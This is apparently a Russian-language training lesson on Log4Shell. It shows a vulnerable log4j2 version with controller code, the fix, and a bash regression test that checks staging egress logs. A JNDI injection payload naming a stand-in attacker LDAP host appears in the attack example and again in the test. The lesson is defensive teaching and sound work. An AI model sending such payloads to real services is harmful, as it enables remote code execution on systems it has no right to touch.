Bug2Lab · Supply Chain · log4j2 / JNDI

Уязвимый log4j (Log4Shell / JNDI инъекция)

Приложение логирует сырые данные из запроса. Уязвимая версия log4j2 интерпретирует строку как команду JNDI-запроса. Это может привести к удалённому выполнению кода. Исправление — обновить библиотеку и выключить опасные lookup’ы.

1
Как выглядит атака
Атакующий шлёт специальную строку в заголовке (например User-Agent), приложение честно пишет этот User-Agent в лог — и триггерит опасный lookup.
GET /api/payments
User-Agent: ${jndi:ldap://attacker.internal/a}
Сервер: 200 OK
(никто в проде даже не заметил)
2
Почему это стало возможным
У нас старая уязвимая версия log4j-core, и логирование делается прямо по внешнему вводу.
Проблемный код / pom.xml
15<dependency>
16 <groupId>org.apache.logging.log4j</groupId>
17 <artifactId>log4j-core</artifactId>
18 <version>2.14.1</version>
19</dependency>
20
21// Controller.java
22@GetMapping("/api/payments")
23public ResponseEntity<?> getPayments(HttpServletRequest req){
24 log.info("UA="+req.getHeader("User-Agent")); // ❌ логируем сырое
25 return ResponseEntity.ok(List.of());
26}
3
Как это чинится правильно
1) обновляем log4j до исправленной версии,
2) запрещаем небезопасные lookup’ы,
3) не логируем сырые внешние данные без нормализации.
Исправленный паттерн
15<dependency>
16 <groupId>org.apache.logging.log4j</groupId>
17 <artifactId>log4j-core</artifactId>
18 <version>2.17.1</version>
19</dependency>
20
22// Controller.java
23String ua = sanitize(req.getHeader("User-Agent"));
24log.info("UA={}", ua); // ✅ параметризованное логирование, не строковая конкатенация

bug2regress Регрессионный тест (стоп-кран)

Тест шлёт заведомо опасную строку и следит, чтобы сервис не делал внезапных исходящих LDAP/HTTP-запросов наружу. Если фикс сломан и уязвимая логика «проснулась» — билд стопается.

#!/bin/bash
# log4shell-check.sh
set -e

curl -s -H 'User-Agent: ${jndi:ldap://test-internal.local/a}' \
  "https://staging.example.internal/api/payments" >/dev/null

# наш агент-аудитор в стейдже пишет сетевую активность сервиса в файл last_egress.log
if grep -qi "ldap://test-internal.local" /var/log/last_egress.log; then
  echo "[BLOCK] подозрительная внешняя JNDI-активность после запроса"
  exit 1
fi

echo "[OK] сервис не пытался дернуть внешний JNDI по входной строке"
exit 0

Это превращает урок «у нас был Log4Shell» в автоматическую гарантию: если кто-то вернёт уязвимую версию логгера — пайплайн взорвётся.

Проверка понимания Где корень риска?

Стандарт: запрещено деплоить сервисы с уязвимыми версиями логгера. Это проверяется автоматически.

Теория (по желанию) Почему supply chain теперь — головная боль СТО